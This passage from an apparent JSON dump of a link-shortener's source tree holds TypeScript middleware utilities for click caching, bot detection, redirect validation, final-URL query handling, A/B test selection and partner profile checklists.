    "content": "import { redis } from \"@/lib/upstash\";\nimport { LOCALHOST_IP } from \"@dub/utils\";\nimport { ipAddress } from \"@vercel/functions\";\n\nexport type DeepLinkClickData = {\n  clickId: string;\n  link: { id: string; domain: string; key: string; url: string };\n};\n\nexport async function cacheDeepLinkClickData({\n  req,\n  clickId,\n  link,\n}: {\n  req: Request;\n  clickId: string;\n  link: { id: string; domain: string; key: string; url: string };\n}) {\n  const ip = process.env.VERCEL === \"1\" ? ipAddress(req) : LOCALHOST_IP;\n\n  // skip caching if ip address is not present\n  if (!ip) {\n    console.log(\n      `Skipping cache for ${link.domain}:${link.key} because ip is not present.`,\n    );\n    return;\n  }\n\n  return await redis.set<DeepLinkClickData>(\n    `deepLinkClickCache:${ip}:${link.domain}:${link.key}`,\n    {\n      clickId,\n      link,\n    },\n    {\n      ex: 60 * 60,\n    },\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/crawl-bitly.ts",
    "content": "import { redis } from \"@/lib/upstash\";\nimport { DUB_HEADERS } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport { parse } from \"./parse\";\n\nexport const crawlBitly = async (req: NextRequest) => {\n  const { domain, fullKey } = parse(req);\n\n  // bitly doesn't support the following characters: ` ~ , . < > ; ‘ : “ / \\ [ ] ^ { } ( ) = + ! * @ & $ £ ? % # |\n  // @see: https://support.bitly.com/hc/en-us/articles/360030780892-What-characters-are-supported-when-customizing-links\n  const invalidBitlyKeyRegex = /[`~,.<>;':\"/\\\\[\\]^{}()=+!*@&$£?%#|]/;\n\n  if (fullKey && !invalidBitlyKeyRegex.test(fullKey)) {\n    const link = await fetchBitlyLink({ domain, key: fullKey });\n    if (link) {\n      return NextResponse.redirect(link.long_url, {\n        headers: DUB_HEADERS,\n        status: 302,\n      });\n    }\n  }\n\n  return NextResponse.redirect(\"https://buffer.com\", {\n    headers: DUB_HEADERS,\n    status: 302,\n  });\n};\n\nconst BUFFER_WORKSPACE_ID = \"cm05wnnpo000711ztj05wwdbu\";\n\nasync function fetchBitlyLink({\n  domain,\n  key,\n}: {\n  domain: string;\n  key: string;\n}) {\n  const apiKey = await redis.get<string>(`import:bitly:${BUFFER_WORKSPACE_ID}`);\n\n  if (!apiKey) {\n    console.error(\n      `[Bitly] No API key found for workspace ${BUFFER_WORKSPACE_ID}`,\n    );\n    return null;\n  }\n\n  const response = await fetch(\n    `https://api-ssl.bitly.com/v4/bitlinks/${domain}/${key}`,\n    {\n      headers: {\n        Authorization: `Bearer ${apiKey}`,\n      },\n    },\n  );\n\n  if (!response.ok) {\n    console.log(\n      `[Bitly] Hit rate limit, returning 404 for ${domain}/${key} for now...`,\n    );\n    return null;\n  }\n\n  const data = await response.json();\n  console.log(`[Bitly] Found link ${domain}/${key} -> ${data.long_url}`);\n\n  return data;\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/create-response-with-cookies.ts",
    "content": "import { NextResponse } from \"next/server\";\n\nexport function createResponseWithCookies(\n  response: NextResponse,\n  {\n    path,\n    dubIdCookieName,\n    dubIdCookieValue,\n    dubTestUrlValue,\n  }: {\n    path: string;\n    dubIdCookieName: string;\n    dubIdCookieValue: string;\n    dubTestUrlValue?: string | null;\n  },\n): NextResponse {\n  // set dub_id_<domain>_<key> cookie\n  // this caches dub_id for 1 hour (for deduplication)\n  response.cookies.set(dubIdCookieName, dubIdCookieValue, {\n    path,\n    maxAge: 60 * 60, // 1 hour\n  });\n\n  // set dub_test_url if this link has testVariants\n  // caches for 1 week (for consistent user experience)\n  if (dubTestUrlValue) {\n    response.cookies.set(\"dub_test_url\", dubTestUrlValue, {\n      path,\n      maxAge: 60 * 60 * 24 * 7, // 1 week\n    });\n  }\n\n  return response;\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/detect-bot.ts",
    "content": "import { ipAddress } from \"@vercel/functions\";\nimport { userAgent } from \"next/server\";\nimport { IP_BOTS, IP_RANGES_BOTS, REFERRER_BOTS, UA_BOTS } from \"./bots-list\";\nimport { isIpInRange } from \"./is-ip-in-range\";\n\nexport const detectBot = (req: Request) => {\n  const searchParams = new URL(req.url).searchParams;\n\n  if (searchParams.get(\"bot\")) {\n    return true;\n  }\n\n  // HEAD requests are generally from bots, real users will always use GET requests\n  if (req.method === \"HEAD\") {\n    return true;\n  }\n\n  // Check ua\n  const ua = userAgent(req);\n\n  if (ua) {\n    return ua.isBot || UA_BOTS.some((bot) => new RegExp(bot, \"i\").test(ua.ua));\n  }\n\n  // Check referer\n  const referer = req.headers.get(\"referer\");\n  if (\n    referer &&\n    REFERRER_BOTS.some((bot) => new RegExp(bot, \"i\").test(referer))\n  ) {\n    return true;\n  }\n\n  // Check ip\n  let ip = ipAddress(req);\n\n  if (!ip) {\n    return false;\n  }\n\n  // Check exact IP matches\n  if (IP_BOTS.includes(ip)) {\n    return true;\n  }\n\n  // Check CIDR ranges\n  return IP_RANGES_BOTS.some((range) => isIpInRange(ip, range));\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/detect-qr.ts",
    "content": "export const detectQr = (req: Request) => {\n  const searchParams = new URL(req.url).searchParams;\n  if (searchParams.get(\"qr\") === \"1\") return true;\n  return false;\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/get-default-partner.ts",
    "content": "import { UserProps } from \"@/lib/types\";\nimport { prismaEdge } from \"@dub/prisma/edge\";\n\nexport async function getDefaultPartnerId(user: UserProps) {\n  let defaultPartnerId = user?.defaultPartnerId;\n\n  if (!defaultPartnerId) {\n    const refreshedUser = await prismaEdge.user.findUnique({\n      where: {\n        id: user.id,\n      },\n      select: {\n        defaultPartnerId: true,\n        partners: {\n          select: {\n            partnerId: true,\n          },\n          take: 1,\n        },\n      },\n    });\n\n    defaultPartnerId =\n      refreshedUser?.defaultPartnerId ||\n      refreshedUser?.partners[0]?.partnerId ||\n      undefined;\n\n    // if no default partner id, try and see if there is a partner profile with the same email\n    // if there is, link the user to the partner profile and set it as the user's default partner id\n    if (!defaultPartnerId) {\n      console.log(\n        \"User doesn't have a default partner id, trying to find a partner with the same email\",\n      );\n\n      const partner = await prismaEdge.partner.findUnique({\n        where: {\n          email: user.email,\n        },\n      });\n\n      // if there is already a partner profile with the same email + has a country assigned\n      // link the user to the partner profile\n      // else they need to either create a new partner profile or set their country\n      if (partner?.country) {\n        await prismaEdge.user.update({\n          where: {\n            id: user.id,\n          },\n          data: {\n            defaultPartnerId: partner.id,\n            partners: {\n              create: {\n                partnerId: partner.id,\n                role: \"owner\",\n                notificationPreferences: {\n                  create: {},\n                },\n              },\n            },\n          },\n        });\n        defaultPartnerId = partner.id;\n      }\n    }\n  }\n\n  return defaultPartnerId;\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/get-default-workspace.ts",
    "content": "import { UserProps } from \"@/lib/types\";\nimport { prismaEdge } from \"@dub/prisma/edge\";\n\nexport async function getDefaultWorkspace(user: UserProps) {\n  let defaultWorkspace = user?.defaultWorkspace;\n\n  if (!defaultWorkspace) {\n    const refreshedUser = await prismaEdge.user.findUnique({\n      where: {\n        id: user.id,\n      },\n      select: {\n        defaultWorkspace: true,\n        projects: {\n          select: {\n            project: {\n              select: {\n                slug: true,\n              },\n            },\n          },\n          take: 1,\n        },\n      },\n    });\n\n    defaultWorkspace =\n      refreshedUser?.defaultWorkspace ||\n      refreshedUser?.projects[0]?.project?.slug ||\n      undefined;\n  }\n\n  return defaultWorkspace;\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/get-final-url.ts",
    "content": "import {\n  LOCALHOST_IP,\n  REDIRECTION_QUERY_PARAM,\n} from \"@dub/utils/src/constants\";\nimport { getUrlFromStringIfValid } from \"@dub/utils/src/functions\";\nimport { ipAddress } from \"@vercel/functions\";\nimport { NextRequest, userAgent } from \"next/server\";\nimport { isGooglePlayStoreUrl } from \"./is-google-play-store-url\";\nimport { isSingularTrackingUrl } from \"./is-singular-tracking-url\";\nimport { parse } from \"./parse\";\n\nexport const getFinalUrl = (\n  url: string,\n  {\n    req,\n    clickId,\n    via,\n  }: {\n    req: NextRequest;\n    clickId?: string;\n    via?: string;\n  },\n) => {\n  // query is the query string (e.g. d.to/github?utm_source=twitter -> ?utm_source=twitter)\n  const searchParams = req.nextUrl.searchParams;\n\n  // if there is a redirection url set, then use it instead of the target url\n  const redirectionUrl = getUrlFromStringIfValid(\n    searchParams.get(REDIRECTION_QUERY_PARAM) ?? \"\",\n  );\n\n  // get the query params of the target url\n  const urlObj = redirectionUrl ? new URL(redirectionUrl) : new URL(url);\n\n  if (via) {\n    urlObj.searchParams.set(\"via\", via);\n  }\n\n  if (clickId) {\n    /*\n       custom query param for stripe payment links + Dub Conversions\n       - if there is a clickId and dub_client_reference_id is 1\n       - then set client_reference_id to dub_id_${clickId} and drop the dub_client_reference_id param\n       - our Stripe integration will then detect `dub_id_${clickId}` as the dubClickId in the `checkout.session.completed` webhook\n       - @see: https://github.com/dubinc/dub/blob/main/apps/web/app/(ee)/api/stripe/integration/webhook/checkout-session-completed.ts\n    */\n    if (urlObj.searchParams.get(\"dub_client_reference_id\") === \"1\") {\n      urlObj.searchParams.set(\"client_reference_id\", `dub_id_${clickId}`);\n      urlObj.searchParams.delete(\"dub_client_reference_id\");\n\n      // if there's a clickId and no dub-no-track search param, then add clickId to the final url\n      // reasoning: if you're skipping tracking, there's no point in passing the clickId anyway\n    } else if (!searchParams.has(\"dub-no-track\")) {\n      urlObj.searchParams.set(\"dub_id\", clickId);\n    }\n  }\n\n  // for Singular tracking links\n  if (isSingularTrackingUrl(url)) {\n    const ua = userAgent(req);\n    const ip = process.env.VERCEL === \"1\" ? ipAddress(req) : LOCALHOST_IP;\n    urlObj.searchParams.set(\"cl\", clickId ?? \"\");\n    urlObj.searchParams.set(\"ua\", ua?.ua ?? \"\");\n    urlObj.searchParams.set(\"ip\", ip ?? \"\");\n  }\n\n  // Polyfill wpcn & wpcl params for Singular integration\n  const wpcn = urlObj.searchParams.get(\"wpcn\");\n  const wpcl = urlObj.searchParams.get(\"wpcl\");\n\n  if (wpcn && wpcn === \"{via}\") {\n    urlObj.searchParams.set(\"wpcn\", via ?? \"\");\n  }\n\n  if (wpcl && wpcl === \"{dub_id}\") {\n    urlObj.searchParams.set(\"wpcl\", clickId ?? \"\");\n  }\n\n  // for Google Play Store links\n  if (isGooglePlayStoreUrl(url)) {\n    const { shortLink, searchParamsString } = parse(req);\n    const existingReferrer = urlObj.searchParams.get(\"referrer\");\n\n    const referrerSearchParam = new URLSearchParams(\n      existingReferrer ? decodeURIComponent(existingReferrer) : \"\",\n    );\n    referrerSearchParam.set(\"deepLink\", `${shortLink}${searchParamsString}`);\n    urlObj.searchParams.set(\"referrer\", referrerSearchParam.toString());\n  }\n\n  // if there are no query params, then return the target url as is (no need to parse it)\n  // @ts-ignore – until https://github.com/microsoft/TypeScript/issues/54466 is fixed\n  if (searchParams.size === 0) return urlObj.toString();\n\n  // if searchParams (type: `URLSearchParams`) has the same key as target url, then overwrite it\n  for (const [key, value] of searchParams) {\n    // we will pass everything except internal query params (dub-no-track and redir_url)\n    if ([\"dub-no-track\", REDIRECTION_QUERY_PARAM].includes(key)) continue;\n    urlObj.searchParams.set(key, value);\n  }\n\n  // remove qr param from the final url if the value is \"1\" (only used for detectQr function)\n  if (urlObj.searchParams.get(\"qr\") === \"1\") {\n    urlObj.searchParams.delete(\"qr\");\n  }\n\n  // remove skip_deeplink_preview param from the final url (only used for internal redirection behavior)\n  if (urlObj.searchParams.get(\"skip_deeplink_preview\") === \"1\") {\n    urlObj.searchParams.delete(\"skip_deeplink_preview\");\n  }\n\n  return urlObj.toString();\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/get-identity-hash.ts",
    "content": "import { LOCALHOST_IP, hashStringSHA256 } from \"@dub/utils\";\nimport { ipAddress } from \"@vercel/functions\";\nimport { userAgent } from \"next/server\";\n\n/**\n * Combine IP + UA to create a unique identifier for the user (for deduplication)\n */\nexport async function getIdentityHash(req: Request) {\n  const ip = ipAddress(req) || LOCALHOST_IP;\n  const ua = userAgent(req);\n  return await hashStringSHA256(`${ip}-${ua.ua}`);\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/get-user-via-token.ts",
    "content": "import { UserProps } from \"@/lib/types\";\nimport { getToken } from \"next-auth/jwt\";\nimport { NextRequest } from \"next/server\";\n\nexport async function getUserViaToken(req: NextRequest) {\n  const session = (await getToken({\n    req,\n    secret: process.env.NEXTAUTH_SECRET,\n  })) as {\n    email?: string;\n    user?: UserProps;\n  };\n\n  return session?.user;\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/get-workspace-product.ts",
    "content": "import { conn } from \"@/lib/planetscale/connection\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { after } from \"next/server\";\n\nexport const getWorkspaceProduct = async (workspaceSlug: string) => {\n  try {\n    let workspaceProduct = await redis.get<\"program\" | \"links\">(\n      `workspace:product:${workspaceSlug}`,\n    );\n    if (workspaceProduct) {\n      return workspaceProduct;\n    }\n\n    const { rows } =\n      (await conn.execute(`SELECT * FROM Project WHERE slug = ?`, [\n        workspaceSlug,\n      ])) || {};\n\n    const workspace =\n      rows && Array.isArray(rows) && rows.length > 0\n        ? (rows[0] as WorkspaceProps)\n        : null;\n\n    workspaceProduct = workspace?.defaultProgramId ? \"program\" : \"links\";\n\n    after(async () => {\n      await redis.set(`workspace:product:${workspaceSlug}`, workspaceProduct, {\n        ex: 60 * 60 * 24 * 30, // cache for 30 days\n      });\n    });\n\n    return workspaceProduct;\n  } catch (error) {\n    console.error(\n      `Error getting workspace product for ${workspaceSlug}:`,\n      error,\n    );\n    return \"links\"; // fallback to links if there's an error\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/handle-not-found-link.ts",
    "content": "import { getDomainViaEdge } from \"@/lib/planetscale/get-domain-via-edge\";\nimport { DUB_HEADERS } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport { parse } from \"./parse\";\n\nexport const handleNotFoundLink = async (req: NextRequest) => {\n  const { domain } = parse(req);\n\n  // check if domain has notFoundUrl configured\n  const domainData = await getDomainViaEdge(domain);\n  if (domainData?.notFoundUrl) {\n    return NextResponse.redirect(domainData.notFoundUrl, {\n      headers: {\n        ...DUB_HEADERS,\n        \"X-Robots-Tag\": \"googlebot: noindex\",\n        // pass the Referer [sic] value to the not found URL\n        Referer: req.url,\n      },\n      status: 302,\n    });\n  } else {\n    return NextResponse.rewrite(new URL(`/${domain}/not-found`, req.url), {\n      headers: DUB_HEADERS,\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/has-pending-invites.ts",
    "content": "import { UserProps } from \"@/lib/types\";\nimport { prismaEdge } from \"@dub/prisma/edge\";\nimport { NextRequest } from \"next/server\";\n\nexport async function hasPendingInvites({\n  req,\n  user,\n}: {\n  req: NextRequest;\n  user: UserProps;\n}) {\n  if (\n    req.nextUrl.searchParams.get(\"invite\") ||\n    req.nextUrl.pathname.startsWith(\"/invites/\")\n  ) {\n    return true;\n  }\n\n  const pendingInvites = await prismaEdge.projectInvite.count({\n    where: {\n      email: user.email,\n      expires: {\n        gte: new Date(),\n      },\n    },\n  });\n\n  return pendingInvites > 0;\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/is-google-play-store-url.ts",
    "content": "export const isGooglePlayStoreUrl = (url: string | null | undefined) => {\n  if (!url) {\n    return false;\n  }\n\n  try {\n    const parsedUrl = new URL(url);\n    return parsedUrl.hostname === \"play.google.com\";\n  } catch (error) {\n    return false;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/is-ios-app-store-url.ts",
    "content": "export const isIosAppStoreUrl = (url: string | null | undefined) => {\n  if (!url) {\n    return false;\n  }\n\n  try {\n    const parsedUrl = new URL(url);\n    return parsedUrl.hostname === \"apps.apple.com\";\n  } catch (error) {\n    return false;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/is-ip-in-range.ts",
    "content": "// Helper function to check if an IP is in a CIDR range\nexport const isIpInRange = (ip: string, cidr: string): boolean => {\n  // Validate CIDR format\n  const cidrRegex = /^(\\d{1,3}\\.){3}\\d{1,3}\\/\\d{1,2}$/;\n  if (!cidrRegex.test(cidr)) {\n    return false;\n  }\n\n  const [rangeIp, prefix] = cidr.split(\"/\");\n  const prefixLength = parseInt(prefix);\n\n  // Validate prefix length\n  if (prefixLength < 0 || prefixLength > 32) {\n    return false;\n  }\n\n  // Validate IP format\n  const ipRegex = /^(\\d{1,3}\\.){3}\\d{1,3}$/;\n  if (!ipRegex.test(ip)) {\n    return false;\n  }\n\n  // Convert IPs to binary\n  const ipToBinary = (ip: string) => {\n    return ip\n      .split(\".\")\n      .map((octet) => {\n        const num = parseInt(octet);\n        // Validate octet range\n        if (num < 0 || num > 255) {\n          throw new Error(\"Invalid IP octet\");\n        }\n        return num.toString(2).padStart(8, \"0\");\n      })\n      .join(\"\");\n  };\n\n  try {\n    const ipBinary = ipToBinary(ip);\n    const rangeBinary = ipToBinary(rangeIp);\n\n    // Compare the network portions\n    return (\n      ipBinary.slice(0, prefixLength) === rangeBinary.slice(0, prefixLength)\n    );\n  } catch {\n    return false;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/is-singular-tracking-url.ts",
    "content": "export const isSingularTrackingUrl = (url: string | null | undefined) => {\n  if (!url) {\n    return false;\n  }\n\n  try {\n    const parsedUrl = new URL(url);\n    return parsedUrl.hostname.endsWith(\".sng.link\");\n  } catch (error) {\n    return false;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/is-supported-custom-uri-scheme.ts",
    "content": "const supportedCustomURISchemes = [\n  \"mailto:\",\n  \"sms:\",\n  \"tel:\",\n  \"tg:\",\n  \"whatsapp:\",\n  \"xmpp:\",\n];\n\nexport const isSupportedCustomURIScheme = (url: string) => {\n  return supportedCustomURISchemes.some((protocol) => url.startsWith(protocol));\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/is-top-level-settings-redirect.ts",
    "content": "const topLevelSettingRedirects = [\"/domains\", \"/integrations\", \"/webhooks\"];\n\nexport const isTopLevelSettingsRedirect = (path: string) => {\n  return (\n    topLevelSettingRedirects.includes(path) ||\n    topLevelSettingRedirects.some((redirect) => path.startsWith(`${redirect}/`))\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/is-valid-internal-redirect.ts",
    "content": "/**\n * Validates if a redirect URL is safe for internal redirects\n */\nexport function isValidInternalRedirect({\n  redirectPath,\n  currentUrl,\n}: {\n  redirectPath: string;\n  currentUrl: string | URL;\n}): boolean {\n  try {\n    // Ensure the URL construction results in same-origin redirect\n    const redirectUrl = new URL(redirectPath, currentUrl);\n    const currentOrigin = new URL(currentUrl).origin;\n\n    return redirectUrl.origin === currentOrigin;\n  } catch (error) {\n    // Invalid URL construction\n    return false;\n  }\n}\n\nexport function getValidInternalRedirectPath({\n  redirectPath,\n  currentUrl,\n}: {\n  redirectPath?: string | null;\n  currentUrl: string | URL;\n}): string | null {\n  if (!redirectPath) {\n    return null;\n  }\n  const valid = isValidInternalRedirect({ redirectPath, currentUrl });\n  return valid ? redirectPath : null;\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/parse.ts",
    "content": "import { SHORT_DOMAIN } from \"@dub/utils\";\nimport { NextRequest } from \"next/server\";\n\nexport const parse = (req: NextRequest) => {\n  let domain = req.headers.get(\"host\") as string;\n  // path is the path of the URL (e.g. dub.sh/stats/github -> /stats/github)\n  let path = req.nextUrl.pathname;\n\n  // remove www. from domain and convert to lowercase\n  domain = domain.replace(/^www./, \"\").toLowerCase();\n  if (domain === \"dub.localhost:8888\" || domain.endsWith(\".vercel.app\")) {\n    if (path.toLowerCase() === \"/case-sensitive-test\") {\n      // special case for case-sensitive link test\n      domain = \"dub-internal-test.com\";\n    } else {\n      // for local development and preview URLs\n      domain = SHORT_DOMAIN;\n    }\n  }\n\n  // fullPath is the full URL path (along with search params)\n  const searchParams = req.nextUrl.searchParams.toString();\n  const searchParamsObj = Object.fromEntries(req.nextUrl.searchParams);\n  const searchParamsString = searchParams.length > 0 ? `?${searchParams}` : \"\";\n  const fullPath = `${path}${searchParamsString}`;\n\n  // Here, we are using decodeURIComponent to handle foreign languages like Hebrew\n  const key = decodeURIComponent(path.split(\"/\")[1]); // key is the first part of the path (e.g. dub.sh/stats/github -> stats)\n  const fullKey = decodeURIComponent(path.slice(1)); // fullKey is the full path without the first slash (to account for multi-level subpaths, e.g. d.to/github/repo -> github/repo)\n\n  return {\n    domain,\n    path,\n    fullPath,\n    key,\n    fullKey,\n    shortLink: `https://${domain}/${fullKey}`,\n    searchParamsObj,\n    searchParamsString,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/partners-redirect.ts",
    "content": "const PARTNERS_REDIRECTS = {\n  \"/settings\": \"/profile\",\n  \"/settings/payouts\": \"/payouts\",\n  \"/settings/notifications\": \"/profile/notifications\",\n  \"/account/settings/notifications\": \"/profile/notifications\",\n  \"/profile/sites\": \"/profile\",\n  \"/marketplace\": \"/programs/marketplace\",\n  \"/rewind\": \"/rewind/2025\",\n  \"/onboarding/online-presence\": \"/onboarding/platforms\",\n  \"/onboarding/verify\": \"/onboarding/payouts\",\n};\n\nexport const partnersRedirect = (path: string) => {\n  return PARTNERS_REDIRECTS[path] || null;\n};\n\nconst PARTNERS_PROGRAM_REDIRECTS = {\n  florafauna: \"flora\",\n  \"ship-30\": \"dwp\",\n  supercutai: \"supercut\",\n  \"teller-perps\": \"teller\",\n  \"hundred-health\": \"hundred\",\n  \"gitroom-short\": \"postiz\",\n};\n\nexport const partnersProgramRedirects = (path: string) => {\n  const programRedirect = Object.keys(PARTNERS_PROGRAM_REDIRECTS).find(\n    (redirect) => path === `/${redirect}` || path.includes(`/${redirect}/`),\n  );\n  if (programRedirect) {\n    return path.replace(\n      programRedirect,\n      PARTNERS_PROGRAM_REDIRECTS[programRedirect],\n    );\n  }\n  return null;\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/resolve-ab-test-url.ts",
    "content": "import { ABTestVariantsSchema, MAX_TEST_COUNT } from \"@/lib/zod/schemas/links\";\nimport { cookies } from \"next/headers\";\nimport * as z from \"zod/v4\";\n\n/**\n * Determines the destination URL for a link with A/B testVariants using weighted random selection\n */\nexport const resolveABTestURL = async ({\n  testVariants,\n  testCompletedAt,\n}: {\n  testVariants?: z.infer<typeof ABTestVariantsSchema>;\n  testCompletedAt?: Date;\n}) => {\n  try {\n    if (\n      !testVariants ||\n      !testCompletedAt ||\n      !(new Date(testCompletedAt) > new Date())\n    ) {\n      return null;\n    }\n\n    if (testVariants.length < 2 || testVariants.length > MAX_TEST_COUNT) {\n      console.error(`Invalid test count: ${testVariants.length} for link.`);\n      return null;\n    }\n\n    const cookieStore = await cookies();\n    const urlFromCookie = cookieStore.get(\"dub_test_url\")?.value;\n    if (\n      urlFromCookie &&\n      testVariants.map((t) => t.url).includes(urlFromCookie)\n    ) {\n      return urlFromCookie;\n    }\n\n    let i = 0;\n    const weights = [testVariants[0].percentage];\n\n    // Calculate cumulative weights\n    for (i = 1; i < testVariants.length; ++i) {\n      weights[i] = testVariants[i].percentage + weights[i - 1];\n    }\n\n    // Generate a random number between 0 and the total cumulative weight\n    const random = Math.random() * weights[weights.length - 1];\n\n    // Loop through cumulative weights and stop when we've found the first one greater than `random`\n    for (i = 0; i < weights.length; ++i) {\n      if (weights[i] > random) {\n        break;\n      }\n    }\n\n    console.log(\"Found test variant\", testVariants[i]);\n\n    return testVariants[i].url;\n  } catch (e) {\n    console.error(\"Error resolving AB test URL.\", e);\n  }\n\n  return null;\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/workspaces.ts",
    "content": "import { UserProps } from \"@/lib/types\";\nimport { prismaEdge } from \"@dub/prisma/edge\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport { getDefaultWorkspace } from \"./utils/get-default-workspace\";\nimport { getWorkspaceProduct } from \"./utils/get-workspace-product\";\nimport { isTopLevelSettingsRedirect } from \"./utils/is-top-level-settings-redirect\";\nimport { isValidInternalRedirect } from \"./utils/is-valid-internal-redirect\";\nimport { parse } from \"./utils/parse\";\n\nexport async function WorkspacesMiddleware(req: NextRequest, user: UserProps) {\n  const { path, searchParamsObj, searchParamsString } = parse(req);\n\n  // Handle ?next= query param with proper validation to prevent open redirects\n  if (\n    searchParamsObj.next &&\n    isValidInternalRedirect({\n      redirectPath: searchParamsObj.next,\n      currentUrl: req.url,\n    })\n  ) {\n    return NextResponse.redirect(new URL(searchParamsObj.next, req.url));\n  }\n\n  const defaultWorkspace = await getDefaultWorkspace(user);\n\n  // If user has a default workspace, redirect them to it\n  if (defaultWorkspace) {\n    let redirectPath = path;\n    if ([\"/\", \"/login\", \"/register\", \"/workspaces\"].includes(path)) {\n      redirectPath = \"\";\n    } else if (isTopLevelSettingsRedirect(path)) {\n      redirectPath = `/settings/${path}`;\n    }\n\n    if (!redirectPath) {\n      const product = await getWorkspaceProduct(defaultWorkspace);\n      redirectPath = `/${product}`;\n    }\n\n    return NextResponse.redirect(\n      new URL(\n        `/${defaultWorkspace}${redirectPath}${searchParamsString}`,\n        req.url,\n      ),\n    );\n  }\n\n  // Redirect user to the accept invite page if they have a pending invite\n  const projectInvite = await prismaEdge.projectInvite.findFirst({\n    where: {\n      email: user.email,\n    },\n    select: {\n      project: {\n        select: {\n          slug: true,\n        },\n      },\n    },\n  });\n\n  if (projectInvite) {\n    return NextResponse.redirect(\n      new URL(`/${projectInvite.project.slug}/invite`, req.url),\n    );\n  }\n\n  // No default workspace or invite found, redirect to workspace onboarding\n  return NextResponse.redirect(new URL(\"/onboarding/workspace\", req.url));\n}\n"
  },
  {
    "path": "apps/web/lib/names.ts",
    "content": "import {\n  Config,\n  adjectives,\n  animals,\n  colors,\n  uniqueNamesGenerator,\n} from \"unique-names-generator\";\n\nexport const generateRandomName = (seed?: string) => {\n  const config: Config = {\n    // given 1,400 adjectives, 50 colors, and 350 animals\n    // we have 1,400 * 50 * 350 = 24,500,000 possible combinations\n    dictionaries: [adjectives, colors, animals],\n    separator: \" \",\n    style: \"capital\",\n    seed,\n  };\n\n  return uniqueNamesGenerator(config);\n};\n"
  },
  {
    "path": "apps/web/lib/network/get-discoverability-requirements.ts",
    "content": "import { toCentsNumber } from \"@dub/utils\";\nimport {\n  EXCLUDED_PROGRAM_IDS,\n  PARTNER_NETWORK_MIN_COMMISSIONS_CENTS,\n} from \"../constants/partner-profile\";\nimport { PARTNER_PLATFORM_FIELDS } from \"../partners/partner-platforms\";\nimport { EnrolledPartnerProps, PartnerProps } from \"../types\";\n\n/** Program enrollments with totalCommissions as number | bigint (Prisma returns bigint). */\nexport type ProgramEnrollmentsForDiscoverability = (Pick<\n  EnrolledPartnerProps,\n  \"programId\" | \"status\"\n> & { totalCommissions: number | bigint })[];\n\nexport const partnerHasEarnedCommissions = (\n  programEnrollments: ProgramEnrollmentsForDiscoverability,\n) => {\n  return (\n    programEnrollments.filter(\n      (pe) =>\n        !EXCLUDED_PROGRAM_IDS.includes(pe.programId) &&\n        pe.status === \"approved\" &&\n        toCentsNumber(pe.totalCommissions) >=\n          PARTNER_NETWORK_MIN_COMMISSIONS_CENTS,\n    ).length >= 1\n  );\n};\n\nexport const partnerIsNotBanned = (\n  programEnrollments: Pick<EnrolledPartnerProps, \"programId\" | \"status\">[],\n) => {\n  return programEnrollments.every((pe) => pe.status !== \"banned\");\n};\n\nexport function getDiscoverabilityRequirements({\n  partner,\n}: {\n  partner: Pick<\n    PartnerProps,\n    | \"image\"\n    | \"description\"\n    | \"monthlyTraffic\"\n    | \"preferredEarningStructures\"\n    | \"salesChannels\"\n    | \"platforms\"\n  >;\n}) {\n  return [\n    {\n      label: \"Upload your logo\",\n      href: \"#info\",\n      completed: !!partner.image,\n    },\n    {\n      label: \"Verify at least 2 social accounts/website\",\n      href: \"#platforms\",\n      completed:\n        PARTNER_PLATFORM_FIELDS.filter(\n          (field) => field.data(partner.platforms).verified,\n        ).length >= 2,\n    },\n    {\n      label: \"Fill out your profile description\",\n      href: \"#about\",\n      completed: !!partner.description,\n    },\n    {\n      label: \"Specify your estimated monthly traffic\",\n      href: \"#traffic\",\n      completed: !!partner.monthlyTraffic,\n    },\n    {\n      label: \"Select your preferred earning structures\",\n      href: \"#earning-structures\",\n      completed: Boolean(partner.preferredEarningStructures?.length),\n    },\n    {\n      label: \"Choose your sales channels\",\n      href: \"#channels\",\n      completed: Boolean(partner.salesChannels?.length),\n    },\n  ];\n}\n"
  },
  {
    "path": "apps/web/lib/network/get-partner-profile-checklist-progress.ts",
    "content": "import { PartnerProps } from \"../types\";\nimport { getDiscoverabilityRequirements } from \"./get-discoverability-requirements\";\n\nexport function getPartnerProfileChecklistProgress({\n  partner,\n}: {\n  partner: Pick<\n    PartnerProps,\n    | \"image\"\n    | \"description\"\n    | \"monthlyTraffic\"\n    | \"preferredEarningStructures\"\n    | \"salesChannels\"\n    | \"platforms\"\n  >;\n}) {\n  const tasks = getDiscoverabilityRequirements({\n    partner,\n  });\n\n  const completedCount = tasks.filter(({ completed }) => completed).length;\n  const totalCount = tasks.length;\n\n  return {\n    tasks,\n    completedCount,\n    totalCount,\n    isComplete: completedCount === totalCount,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/network/program-categories.ts",
